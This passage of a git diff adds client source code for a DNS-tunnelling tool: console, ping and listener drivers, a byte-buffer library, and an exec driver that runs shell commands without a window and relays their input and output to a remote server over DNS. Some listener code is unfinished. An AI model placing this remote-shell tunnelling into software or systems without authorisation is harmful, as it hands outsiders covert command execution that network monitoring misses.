"libs/select_group.h" +#include "libs/types.h" + +#include "driver_console.h" + +/* There can only be one driver_console, so store these as global variables. */ +static SELECT_RESPONSE_t console_stdin_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *d) +{ + driver_console_t *driver = (driver_console_t*) d; + + buffer_add_bytes(driver->outgoing_data, data, length); + + return SELECT_OK; +} + +static SELECT_RESPONSE_t console_stdin_closed(void *group, int socket, void *d) +{ + /* When the stdin pipe is closed, the stdin driver signals the end. */ + driver_console_t *driver = (driver_console_t*) d; + + /* Record that we've been shut down - we'll continue reading to the end of the buffer, still. */ + driver->is_shutdown = TRUE; + + return SELECT_CLOSE_REMOVE; +} + +void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length) +{ + size_t i; + + for(i = 0; i < length; i++) + fputc(data[i], stdout); +} + +uint8_t *driver_console_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length) +{ + /* If the driver has been killed and we have no bytes left, return NULL to close the session. */ + if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0) + return NULL; + + return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE); +} + +driver_console_t *driver_console_create(select_group_t *group) +/*, char *name, char *download, int first_chunk)*/ +{ + driver_console_t *driver = (driver_console_t*) safe_malloc(sizeof(driver_console_t)); +#ifdef WIN32 + HANDLE stdin_handle = get_stdin_handle(); +#endif + + driver->group = group; + driver->is_shutdown = FALSE; + driver->outgoing_data = buffer_create(BO_LITTLE_ENDIAN); + +#ifdef WIN32 + /* On Windows, the stdin_handle is quite complicated, and involves a sub-thread. */ + select_group_add_pipe(group, -1, stdin_handle, driver); + select_set_recv(group, -1, console_stdin_recv); + select_set_closed(group, -1, console_stdin_closed); +#else + /* On Linux, the stdin_handle is easy. */ + int stdin_handle = STDIN_FILENO; + select_group_add_socket(group, stdin_handle, SOCKET_TYPE_STREAM, driver); + select_set_recv(group, stdin_handle, console_stdin_recv); + select_set_closed(group, stdin_handle, console_stdin_closed); +#endif + + return driver; +} + +void driver_console_destroy(driver_console_t *driver) +{ + if(!driver->is_shutdown) + driver_console_close(driver); + safe_free(driver); +} + +void driver_console_close(driver_console_t *driver) +{ + driver->is_shutdown = TRUE; +} diff --git a/client/drivers/driver_console.h b/client/drivers/driver_console.h new file mode 100644 index 0000000..0487bb5 --- /dev/null +++ b/client/drivers/driver_console.h @@ -0,0 +1,32 @@ +/* driver_console.h + * By Ron Bowes + * + * See LICENSE.md + * + * This implements a simple i/o driver that acts on the console and lets + * the user send messages to the server by typing them. It's kinda fun to see + * your messages flying over DNS, and this is great for testing or for + * demonstrating how to make drivers, but its ultimate utility isn't that + * useful. + */ + +#ifndef __DRIVER_CONSOLE_H__ +#define __DRIVER_CONSOLE_H__ + +#include "libs/buffer.h" +#include "libs/select_group.h" + +typedef struct +{ + select_group_t *group; + buffer_t *outgoing_data; + NBBOOL is_shutdown; +} driver_console_t; + +driver_console_t *driver_console_create(select_group_t *group); +void driver_console_destroy(driver_console_t *driver); +void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length); +uint8_t *driver_console_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length); +void driver_console_close(driver_console_t *driver); + +#endif diff --git a/client/drivers/driver_exec.c b/client/drivers/driver_exec.c new file mode 100644 index 0000000..d63d678 --- /dev/null +++ b/client/drivers/driver_exec.c @@ -0,0 +1,217 @@ +/* driver_exec.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include +#include + +#ifndef WIN32 +#include +#include +#include +#endif + +#include "libs/buffer.h" +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/select_group.h" +#include "libs/types.h" + +#include "driver_exec.h" + +#define PIPE_READ 0 +#define PIPE_WRITE 1 + +#ifndef WIN32 +/* This is necessary for some systems... see: + * https://github.com/iagox86/dnscat2/issues/61 + */ +int kill(pid_t pid, int sig); +#endif + +static SELECT_RESPONSE_t exec_callback(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) +{ + driver_exec_t *driver = (driver_exec_t*) param; + + buffer_add_bytes(driver->outgoing_data, data, length); + + return SELECT_OK; +} + +static SELECT_RESPONSE_t exec_closed_callback(void *group, int socket, void *d) +{ + /* When the stdin pipe is closed, the stdin driver signals the end. */ + driver_exec_t *driver = (driver_exec_t*) d; + + /* Record that we've been shut down - we'll continue reading to the end of the buffer, still. */ + driver->is_shutdown = TRUE; + + return SELECT_CLOSE_REMOVE; +} + +void driver_exec_data_received(driver_exec_t *driver, uint8_t *data, size_t length) +{ +#ifdef WIN32 + DWORD written; + WriteFile(driver->exec_stdin[PIPE_WRITE], data, (DWORD)length, &written, NULL); +#else + if(write(driver->pipe_stdin[PIPE_WRITE], data, length) != length) + LOG_ERROR("There was a problem writing data. :("); +#endif +} + +uint8_t *driver_exec_get_outgoing(driver_exec_t *driver, size_t *length, size_t max_length) +{ + /* If the driver has been killed and we have no bytes left, return NULL to close the session. */ + if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0) + return NULL; + + return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE); +} + +driver_exec_t *driver_exec_create(select_group_t *group, char *process) +{ + driver_exec_t *driver = (driver_exec_t*) safe_malloc(sizeof(driver_exec_t)); + + /* Declare some WIN32 variables needed for starting the sub-process. */ +#ifdef WIN32 + STARTUPINFOA startupInfo; + PROCESS_INFORMATION processInformation; + SECURITY_ATTRIBUTES sa; +#endif + + driver->process = process; + driver->group = group; + driver->outgoing_data = buffer_create(BO_BIG_ENDIAN); + +#ifdef WIN32 + /* Create a security attributes structure. This is required to inherit handles. */ + ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES)); + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; + + /* Create the anonymous pipes. */ + if(!CreatePipe(&driver->exec_stdin[PIPE_READ], &driver->exec_stdin[PIPE_WRITE], &sa, 0)) + DIE("exec: Couldn't create pipe for stdin"); + if(!CreatePipe(&driver->exec_stdout[PIPE_READ], &driver->exec_stdout[PIPE_WRITE], &sa, 0)) + DIE("exec: Couldn't create pipe for stdout"); + + fprintf(stderr, "Attempting to load the program: %s\n", driver->process); + + /* Initialize the STARTUPINFO structure. */ + ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); + startupInfo.cb = sizeof(STARTUPINFO); + startupInfo.dwFlags = STARTF_USESTDHANDLES; + startupInfo.hStdInput = driver->exec_stdin[PIPE_READ]; + startupInfo.hStdOutput = driver->exec_stdout[PIPE_WRITE]; + startupInfo.hStdError = driver->exec_stdout[PIPE_WRITE]; + + /* Initialize the PROCESS_INFORMATION structure. */ + ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); + + /* Create the actual process with an overly-complicated CreateProcess function. */ + if(!CreateProcessA(NULL, driver->process, 0, &sa, TRUE, CREATE_NO_WINDOW, 0, NULL, &startupInfo, &processInformation)) + { + fprintf(stderr, "Failed to create the process"); + exit(1); + } + + /* Save the process id and the handle. */ + driver->pid = processInformation.dwProcessId; + driver->exec_handle = processInformation.hProcess; + + /* Close the duplicate pipes we created -- this lets us detect the proicess termination. */ + CloseHandle(driver->exec_stdin[PIPE_READ]); + CloseHandle(driver->exec_stdout[PIPE_WRITE]); + CloseHandle(driver->exec_stdout[PIPE_WRITE]); + + fprintf(stderr, "Successfully created the process!\n\n"); + + /* Create a socket_id value - this is a totally arbitrary value that's only used so we can find this entry later. */ + driver->socket_id = --driver->socket_id; + + /* On Windows, add the sub-process's stdout as a pipe. */ + select_group_add_pipe(driver->group, driver->socket_id, driver->exec_stdout[PIPE_READ], driver); + select_set_recv(driver->group, driver->socket_id, exec_callback); + select_set_closed(driver->group, driver->socket_id, exec_closed_callback); +#else + LOG_WARNING("Starting: /bin/sh -c '%s'", driver->process); + + /* Create communication channels. */ + if(pipe(driver->pipe_stdin) == -1) + { + LOG_FATAL("exec: couldn't create pipe (%d)", errno); + exit(1); + } + + if(pipe(driver->pipe_stdout) == -1) + { + LOG_FATAL("exec: couldn't create pipe (%d)", errno); + exit(1); + } + + driver->pid = fork(); + + if(driver->pid == -1) + { + LOG_FATAL("exec: couldn't create process (%d)", errno); + exit(1); + } + + /* If we're in the child process... */ + if(driver->pid == 0) + { + /* Copy the pipes. */ + if(dup2(driver->pipe_stdin[PIPE_READ], STDIN_FILENO) == -1) + nbdie("exec: couldn't duplicate STDIN handle"); + + if(dup2(driver->pipe_stdout[PIPE_WRITE], STDOUT_FILENO) == -1) + nbdie("exec: couldn't duplicate STDOUT handle"); + + if(dup2(driver->pipe_stdout[PIPE_WRITE], STDERR_FILENO) == -1) + nbdie("exec: couldn't duplicate STDERR handle"); + + /* Execute the new process. */ + execlp("/bin/sh", "sh", "-c", driver->process, (char*) NULL); + + /* If execlp returns, bad stuff happened. */ + LOG_FATAL("exec: execlp failed (%d)", errno); + exit(1); + } + + LOG_WARNING("Started: %s (pid: %d)", driver->process, driver->pid); + close(driver->pipe_stdin[PIPE_READ]); + close(driver->pipe_stdout[PIPE_WRITE]); + + /* Add the sub-process's stdout as a socket. */ + select_group_add_socket(driver->group, driver->pipe_stdout[PIPE_READ], SOCKET_TYPE_STREAM, driver); + select_set_recv(driver->group, driver->pipe_stdout[PIPE_READ], exec_callback); + select_set_closed(driver->group, driver->pipe_stdout[PIPE_READ], exec_closed_callback); +#endif + + return driver; +} + +void driver_exec_destroy(driver_exec_t *driver) +{ + if(!driver->is_shutdown) + driver_exec_close(driver); + safe_free(driver); +} + +void driver_exec_close(driver_exec_t *driver) +{ + LOG_WARNING("exec driver shut down; killing process %d", driver->pid); +#ifdef WIN32 + TerminateProcess(driver->exec_handle, SIGINT); +#else + kill(driver->pid, SIGINT); +#endif + driver->is_shutdown = TRUE; +} diff --git a/client/drivers/driver_exec.h b/client/drivers/driver_exec.h new file mode 100644 index 0000000..98cd580 --- /dev/null +++ b/client/drivers/driver_exec.h @@ -0,0 +1,46 @@ +/* driver_exec.h + * By Ron Bowes + * + * See LICENSE.md + * + * Implements an i/o driver that executes a process, and tunnels the + * stdout/stdin/stderr through the socket to the server. As far as the + * server is aware, it's indistinguishable from a console (since it's + * simply text going in and out). + */ + +#ifndef __DRIVER_EXEC_H__ +#define __DRIVER_EXEC_H__ + +#include + +#include "libs/buffer.h" +#include "libs/select_group.h" + +typedef struct +{ + char *process; + select_group_t *group; + buffer_t *outgoing_data; + NBBOOL is_shutdown; + +#ifdef WIN32 + HANDLE exec_stdin[2]; /* The stdin handle. */ + HANDLE exec_stdout[2]; /* The stdout handle. */ + DWORD pid; /* Process id. */ + HANDLE exec_handle; /* Handle to the executing process. */ + int socket_id; /* An arbitrary number that identifies the socket. */ +#else + int pipe_stdin[2]; + int pipe_stdout[2]; + pid_t pid; +#endif +} driver_exec_t; + +driver_exec_t *driver_exec_create(select_group_t *group, char *process); +void driver_exec_destroy(driver_exec_t *driver); +void driver_exec_data_received(driver_exec_t *driver, uint8_t *data, size_t length); +uint8_t *driver_exec_get_outgoing(driver_exec_t *driver, size_t *length, size_t max_length); +void driver_exec_close(driver_exec_t *driver); + +#endif diff --git a/client/drivers/driver_listener.c b/client/drivers/driver_listener.c new file mode 100644 index 0000000..4761397 --- /dev/null +++ b/client/drivers/driver_listener.c @@ -0,0 +1,115 @@ +/* driver_listener.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#ifndef WIN32 +#include +#endif + +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/select_group.h" +#include "libs/tcp.h" +#include "libs/types.h" + +#include "driver_listener.h" + +typedef struct _listener_client_t +{ + int s; + char *address; + uint16_t port; + uint16_t id; + driver_listener_t *driver; + + struct _listener_client_t *next; +} client_entry_t; + +static uint32_t tunnel_id = 0; +static client_entry_t *first_client = NULL; + +static SELECT_RESPONSE_t client_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *c) +{ + client_entry_t *client = (client_entry_t*) c; + + return SELECT_OK; +} + +static SELECT_RESPONSE_t client_closed(void *group, int socket, void *c) +{ + client_entry_t *client = (client_entry_t*) c; + + message_post_close_session(client->session_id); + + /* TODO: Unlink it from the entry list. */ + + return SELECT_CLOSE_REMOVE; +} + +static SELECT_RESPONSE_t listener_closed(void *group, int socket, void *c) +{ + LOG_FATAL("Listener socket went away!"); + exit(1); + + return SELECT_CLOSE_REMOVE; +} + +static SELECT_RESPONSE_t listener_accept(void *group, int s, void *d) +{ + driver_listener_t *driver = (driver_listener_t*) d; + client_entry_t *client = safe_malloc(sizeof(client_entry_t)); + + client->s = tcp_accept(s, &client->address, &client->port); + + client->driver = driver; + client->next = first_client; + first_client = client; + + LOG_WARNING("Received a connection from %s:%d (created session %d)", client->address, client->port, client->session_id); + + select_group_add_socket(group, client->s, SOCKET_TYPE_STREAM, client); + select_set_recv(group, client->s, client_recv); + select_set_closed(group, client->s, client_closed); + + return SELECT_OK; +} + +uint8_t *driver_listener_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length) +{ + return NULL; +} + +driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name) +{ + driver_listener_t *driver = (driver_listener_t*) safe_malloc(sizeof(driver_listener_t)); + + driver->group = group; + driver->host = host; + driver->port = port; + driver->s = tcp_listen(driver->host, driver->port); + + if(!driver->s) + { + LOG_FATAL("Failed to listen on %s:%d", driver->host, driver->port); + exit(1); + } + + /* On Linux, the stdin_handle is easy. */ + select_group_add_socket(driver->group, driver->s, SOCKET_TYPE_LISTEN, driver); + select_set_listen(driver->group, driver->s, listener_accept); + select_set_closed(driver->group, driver->s, listener_closed); + + return driver; +} + +void driver_listener_destroy(driver_listener_t *driver) +{ + safe_free(driver); +} diff --git a/client/drivers/driver_listener.h b/client/drivers/driver_listener.h new file mode 100644 index 0000000..81f706a --- /dev/null +++ b/client/drivers/driver_listener.h @@ -0,0 +1,29 @@ +/* driver_listener.h + * By Ron Bowes + * + * See LICENSE.md + * + * This isn't used yet. + * + * TODO: Update the docs when it is :) + */ + +#ifndef __DRIVER_LISTENER_H__ +#define __DRIVER_LISTENER_H__ + +#include "select_group.h" +#include "session.h" + +typedef struct +{ + int s; + select_group_t *group; + char *host; + char *name; + uint16_t port; +} driver_listener_t; + +driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name); +void driver_listener_destroy(); + +#endif diff --git a/client/drivers/driver_ping.c b/client/drivers/driver_ping.c new file mode 100644 index 0000000..6986621 --- /dev/null +++ b/client/drivers/driver_ping.c @@ -0,0 +1,98 @@ +/* driver_ping.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#ifndef WIN32 +#include +#endif + +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/select_group.h" +#include "libs/types.h" + +#include "driver_ping.h" + +#define PING_LENGTH 16 + +void driver_ping_data_received(driver_ping_t *driver, uint8_t *data, size_t length) +{ + if(!strcmp((char*)data, (char*)driver->data)) + { + printf("Ping response received! This seems like a valid dnscat2 server.\n"); + + exit(0); + } + else + { + printf("Ping response received, but it didn't contain the right data!\n"); + printf("Expected: %s\n", driver->data); + printf("Received: %s\n", data); + printf("\n"); + printf("The only reason this can happen is if something is messing with\n"); + printf("your DNS traffic.\n"); + } +} + +uint8_t *driver_ping_get_outgoing(driver_ping_t *driver, size_t *length, size_t max_length) +{ + static NBBOOL already_sent = FALSE; + uint8_t *result = NULL; + + /* Only return this once. */ + if(already_sent) { + *length = 0; + return safe_malloc(0); + } + already_sent = TRUE; + + if(PING_LENGTH > max_length) + { + LOG_FATAL("Sorry, the ping packet is too long to respect the protocol's length restrictions :("); + exit(1); + } + + result = safe_malloc(PING_LENGTH); + memcpy(result, driver->data, PING_LENGTH); + *length = PING_LENGTH; + + return result; +} + +driver_ping_t *driver_ping_create(select_group_t *group) +{ + size_t i; + driver_ping_t *driver = (driver_ping_t*) safe_malloc(sizeof(driver_ping_t)); + driver->is_shutdown = FALSE; + + /* Create the data */ + driver->data = safe_malloc(PING_LENGTH + 1); + memset(driver->data, 0, PING_LENGTH); + + for(i = 0; i < PING_LENGTH; i++) + driver->data[i] = (rand() % 26) + 'a'; + + return driver; +} + +void driver_ping_destroy(driver_ping_t *driver) +{ + if(!driver->is_shutdown) + driver_ping_close(driver); + + if(driver->data) + safe_free(driver->data); + safe_free(driver); +} + +void driver_ping_close(driver_ping_t *driver) +{ + driver->is_shutdown = TRUE; +} diff --git a/client/drivers/driver_ping.h b/client/drivers/driver_ping.h new file mode 100644 index 0000000..1df49c5 --- /dev/null +++ b/client/drivers/driver_ping.h @@ -0,0 +1,27 @@ +/* driver_ping.h + * By Ron Bowes + * + * See LICENSE.md + * + * This is a super simple drivers that just sends some set data to the + * server, then verifies it when it comes back. + */ + +#ifndef __DRIVER_PING_H__ +#define __DRIVER_PING_H__ + +#include "libs/select_group.h" + +typedef struct +{ + char *data; + NBBOOL is_shutdown; +} driver_ping_t; + +driver_ping_t *driver_ping_create(select_group_t *group); +void driver_ping_destroy(driver_ping_t *driver); +void driver_ping_data_received(driver_ping_t *driver, uint8_t *data, size_t length); +uint8_t *driver_ping_get_outgoing(driver_ping_t *driver, size_t *length, size_t max_length); +void driver_ping_close(driver_ping_t *driver); + +#endif diff --git a/client/libs/buffer.c b/client/libs/buffer.c new file mode 100644 index 0000000..f369936 --- /dev/null +++ b/client/libs/buffer.c @@ -0,0 +1,1103 @@ +/* buffer.c + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + */ + +#include +#include +#include +#include + +#ifdef WIN32 +#include /* For htons/htonl. */ +#else +#include /* For htons/htonl. */ +#endif + +#include "buffer.h" +#include "memory.h" +#include "types.h" + +/* The initial max length of the string */ +#define STARTING_LENGTH 64 + +static uint16_t host_to_network_16(uint16_t data) +{ + return htons(data); +} +static uint16_t host_to_host_16(uint16_t data) +{ + return data; +} +static uint16_t host_to_little_endian_16(uint16_t data) +{ + uint16_t network = host_to_network_16(data); + + return ((network >> 8) & 0x00FF) | + ((network << 8) & 0xFF00); +} +static uint16_t host_to_big_endian_16(uint16_t data) +{ + return host_to_network_16(data); +} + +static uint32_t host_to_network_32(uint32_t data) +{ + return htonl(data); +} +static uint32_t host_to_host_32(uint32_t data) +{ + return data; +} +static uint32_t host_to_little_endian_32(uint32_t data) +{ + uint32_t network = host_to_network_32(data); + + return ((network << 24) & 0xFF000000) | + ((network << 8) & 0x00FF0000) | + ((network >> 8) & 0x0000FF00) | + ((network >> 24) & 0x000000FF); +} +static uint32_t host_to_big_endian_32(uint32_t data) +{ + return host_to_network_32(data); +} + + +static uint16_t network_to_host_16(uint16_t data) +{ + return htons(data); +} +/*static uint16_t host_to_host_16(uint16_t data) +{ + return data; +} */ +static uint16_t little_endian_to_host_16(uint16_t data) +{ + uint16_t network = network_to_host_16(data); + + return ((network >> 8) & 0x00FF) | + ((network << 8) & 0xFF00); +} +static uint16_t big_endian_to_host_16(uint16_t data) +{ + return network_to_host_16(data); +} + +static uint32_t network_to_host_32(uint32_t data) +{ + return htonl(data); +} +/*static uint32_t host_to_host_32(uint32_t data) +{ + return data; +} */ +static uint32_t little_endian_to_host_32(uint32_t data) +{ + uint32_t network = network_to_host_32(data); + + return ((network << 24) & 0xFF000000) | + ((network << 8) & 0x00FF0000) | + ((network >> 8) & 0x0000FF00) | + ((network >> 24) & 0x000000FF); +} +static uint32_t big_endian_to_host_32(uint32_t data) +{ + return network_to_host_32(data); +} + + + +/* Create a new packet buffer */ +buffer_t *buffer_create(BYTE_ORDER_t byte_order) +{ + buffer_t *new_buffer = safe_malloc(sizeof(buffer_t)); + + new_buffer->byte_order = byte_order; + new_buffer->valid = TRUE; + new_buffer->position = 0; + new_buffer->max_length = STARTING_LENGTH; + new_buffer->current_length = 0; + new_buffer->data = safe_malloc(STARTING_LENGTH * sizeof(char)); + + return new_buffer; +} + +/* Create a new packet buffer, with data. The data shouldn't include the packet header, + * it will be added. The length is the length of the data, without the header. */ +buffer_t *buffer_create_with_data(BYTE_ORDER_t byte_order, const void *data, const size_t length) +{ + buffer_t *new_buffer = buffer_create(byte_order); + if(!new_buffer) + DIE_MEM(); + + buffer_add_bytes(new_buffer, data, length); + + return new_buffer; +} + +/* Go to the start of the buffer. */ +void buffer_reset(buffer_t *buffer) +{ + buffer->position = 0; +} + +/* Destroy the buffer and free resources. If this isn't used, memory will leak. */ +void buffer_destroy(buffer_t *buffer) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + buffer->valid = FALSE; + + memset(buffer->data, 0, buffer->max_length); + safe_free(buffer->data); + + memset(buffer, 0, sizeof(buffer_t)); + safe_free(buffer); +} + +buffer_t *buffer_duplicate(buffer_t *base) +{ + /* Allocate memory. */ + buffer_t *new = safe_malloc(sizeof(buffer_t)); + + /* Make an exact copy (won't copy pointers properly). */ + memcpy(new, base, sizeof(buffer_t)); + + /* Create a new 'data' pointer. */ + new->data = safe_malloc(new->max_length); + + /* Copy the data into the new data pointer. */ + memcpy(new->data, base->data, new->max_length); + + return new; +} + +size_t buffer_get_length(buffer_t *buffer) +{ + return buffer->current_length; +} + +size_t buffer_get_current_offset(buffer_t *buffer) +{ + return buffer->position; +} + +void buffer_set_current_offset(buffer_t *buffer, size_t position) +{ + buffer->position = position; +} + +size_t buffer_get_remaining_bytes(buffer_t *buffer) +{ + return buffer_get_length(buffer) - buffer_get_current_offset(buffer); +} + +void buffer_clear(buffer_t *buffer) +{ + memset(buffer->data, 0, buffer->current_length); + buffer->position = 0; + buffer->current_length = 0; +} + +void buffer_read_align(buffer_t *buffer, size_t align) +{ + while(buffer_get_current_offset(buffer) % align) + buffer_read_next_int8(buffer); +} + +void buffer_write_align(buffer_t *buffer, size_t align) +{ + while(buffer_get_length(buffer) % align) + buffer_add_int8(buffer, 0); +} + +void buffer_consume(buffer_t *buffer, size_t count) +{ + buffer->position += count; +} + +uint8_t *buffer_create_string(buffer_t *buffer, size_t *length) +{ + uint8_t *ret; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + ret = safe_malloc(buffer_get_length(buffer)); + memcpy(ret, buffer->data, buffer_get_length(buffer)); + + if(length) + *length = buffer_get_length(buffer); + + return ret; +} + +uint8_t *buffer_create_string_and_destroy(buffer_t *buffer, size_t *length) +{ + uint8_t *ret = buffer_create_string(buffer, length); + + buffer_destroy(buffer); + + return ret; +} + +uint8_t *buffer_read_remaining_bytes(buffer_t *buffer, size_t *length, size_t max_bytes, NBBOOL consume) +{ + uint8_t *ret; + + if(!buffer->valid) + DIE("Program attempted to use a deleted buffer."); + + if(buffer->current_length < buffer->position) + DIE("Position is outside the buffer"); + + /* The number of bytes remaining */ + *length = buffer->current_length - buffer->position; + + if(max_bytes != (size_t)-1 && *length > max_bytes) + *length = max_bytes; + + /* Allocate room for that many bytes */ + if(*length+1 < *length) + DIE("Overflow."); + + ret = safe_malloc(*length+1); + + /* Copy the data into the new buffer */ + if(consume) + buffer_read_next_bytes(buffer, ret, *length); + else + buffer_peek_next_bytes(buffer, ret, *length); + + /* Return the new buffer */ + return ret; +} + +/* Add data to the end of the buffer */ +buffer_t *buffer_add_int8(buffer_t *buffer, const uint8_t data) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_add_bytes(buffer, &data, 1); + + return buffer; +} + +buffer_t *buffer_add_int16(buffer_t *buffer, const uint16_t data) +{ + uint16_t converted; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + switch(buffer->byte_order) + { + case BO_NETWORK: converted = host_to_network_16(data); break; + case BO_HOST: converted = host_to_host_16(data); break; + case BO_LITTLE_ENDIAN: converted = host_to_little_endian_16(data); break; + case BO_BIG_ENDIAN: converted = host_to_big_endian_16(data); break; + } + + buffer_add_bytes(buffer, &converted, 2); + + return buffer; +} + +buffer_t *buffer_add_int32(buffer_t *buffer, const uint32_t data) +{ + uint32_t converted; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + switch(buffer->byte_order) + { + case BO_NETWORK: converted = host_to_network_32(data); break; + case BO_HOST: converted = host_to_host_32(data); break; + case BO_LITTLE_ENDIAN: converted = host_to_little_endian_32(data); break; + case BO_BIG_ENDIAN: converted = host_to_big_endian_32(data); break; + } + + buffer_add_bytes(buffer, &converted, 4); + + return buffer; +} + +buffer_t *buffer_add_ntstring(buffer_t *buffer, const char *data) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_add_bytes(buffer, data, strlen(data) + 1); + + return buffer; +} + +buffer_t *buffer_add_string(buffer_t *buffer, const char *data) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_add_bytes(buffer, data, strlen(data)); + + return buffer; +} + +buffer_t *buffer_add_unicode(buffer_t *buffer, const char *data) +{ + size_t i; + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + for(i = 0; i < (strlen(data) + 1); i++) + buffer_add_int16(buffer, data[i]); + + return buffer; +} + +buffer_t *buffer_add_bytes(buffer_t *buffer, const void *data, const size_t length) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + if(buffer->current_length + length < buffer->current_length) + DIE("Overflow."); + + if(length >= 0x80000000) + DIE("Too big!"); + + /* Resize the buffer, if necessary. */ + if(buffer->current_length + length > buffer->max_length) + { + do + { + /* Check for overflow. */ + if(buffer->max_length << 1 < buffer->max_length) + DIE("Overflow."); + + /* Double the length. */ + buffer->max_length = buffer->max_length << 1; + } + while(buffer->current_length + length > buffer->max_length); + + buffer->data = safe_realloc(buffer->data, buffer->max_length); + } + + memcpy(buffer->data + buffer->current_length, data, length); + + buffer->current_length += length; + + return buffer; +} + +buffer_t *buffer_add_buffer(buffer_t *buffer, const buffer_t *source) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(!source->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_add_bytes(buffer, source->data, source->current_length); + + return buffer; +} + +buffer_t *buffer_add_int8_at(buffer_t *buffer, const uint8_t data, size_t offset) +{ + return buffer_add_bytes_at(buffer, &data, 1, offset); +} + +buffer_t *buffer_add_int16_at(buffer_t *buffer, const uint16_t data, size_t offset) +{ + uint16_t converted; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + switch(buffer->byte_order) + { + case BO_NETWORK: converted = host_to_network_16(data); break; + case BO_HOST: converted = host_to_host_16(data); break; + case BO_LITTLE_ENDIAN: converted = host_to_little_endian_16(data); break; + case BO_BIG_ENDIAN: converted = host_to_big_endian_16(data); break; + } + + return buffer_add_bytes_at(buffer, &converted, 2, offset); +} + +buffer_t *buffer_add_int32_at(buffer_t *buffer, const uint32_t data, size_t offset) +{ + uint32_t converted; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + switch(buffer->byte_order) + { + case BO_NETWORK: converted = host_to_network_32(data); break; + case BO_HOST: converted = host_to_host_32(data); break; + case BO_LITTLE_ENDIAN: converted = host_to_little_endian_32(data); break; + case BO_BIG_ENDIAN: converted = host_to_big_endian_32(data); break; + } + + return buffer_add_bytes_at(buffer, &converted, 4, offset); +} + +buffer_t *buffer_add_ntstring_at(buffer_t *buffer, const char *data, size_t offset) +{ + return buffer_add_bytes_at(buffer, data, strlen(data) + 1, offset); +} + +buffer_t *buffer_add_string_at(buffer_t *buffer, const char *data, size_t offset) +{ + return buffer_add_bytes_at(buffer, data, strlen(data), offset); +} + +buffer_t *buffer_add_unicode_at(buffer_t *buffer, const char *data, size_t offset) +{ + size_t i; + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + for(i = 0; i < (strlen(data) + 1); i++) + buffer_add_int16_at(buffer, data[i], offset + (i * 2)); + + return buffer; +} + +buffer_t *buffer_add_bytes_at(buffer_t *buffer, const void *data, const size_t length, size_t offset) +{ + /* Ensure the buffer is valid. */ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + /* Funnily enough, this works the same for reading as for writing. */ + if(!buffer_can_read_bytes_at(buffer, offset, length)) + DIE("Program read off the end of the buffer."); + + memcpy(buffer->data + offset, data, length); + + return buffer; +} + +buffer_t *buffer_add_buffer_at(buffer_t *buffer, const buffer_t *source, size_t offset) +{ + if(!source->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_add_bytes_at(buffer, source->data, source->current_length, offset); + + return buffer; +} + + +uint8_t buffer_read_next_int8(buffer_t *buffer) +{ + uint8_t ret = buffer_read_int8_at(buffer, buffer->position); + buffer->position += 1; + return ret; +} +uint16_t buffer_read_next_int16(buffer_t *buffer) +{ + uint16_t ret = buffer_read_int16_at(buffer, buffer->position); + buffer->position += 2; + return ret; +} +uint32_t buffer_read_next_int32(buffer_t *buffer) +{ + uint32_t ret = buffer_read_int32_at(buffer, buffer->position); + buffer->position += 4; + return ret; +} +char *buffer_read_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length) +{ + buffer_read_ntstring_at(buffer, buffer->position, data_ret, max_length); + buffer->position += strlen(data_ret) + 1; + + return data_ret; +} +char *buffer_read_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length) +{ + buffer_read_unicode_at(buffer, buffer->position, data_ret, max_length); + buffer->position += (strlen(data_ret) + 1) * 2; + + return data_ret; +} +char *buffer_read_next_unicode_data(buffer_t *buffer, char *data_ret, size_t length) +{ + buffer_read_unicode_data_at(buffer, buffer->position, data_ret, length); + buffer->position += length * 2; + + return data_ret; +} +void *buffer_read_next_bytes(buffer_t *buffer, void *data, size_t length) +{ + buffer_read_bytes_at(buffer, buffer->position, data, length); + buffer->position += length; + + return data; +} + +char *buffer_alloc_next_ntstring(buffer_t *buffer) +{ + char *result = buffer_alloc_ntstring_at(buffer, buffer->position); + buffer->position += strlen(result) + 1; + 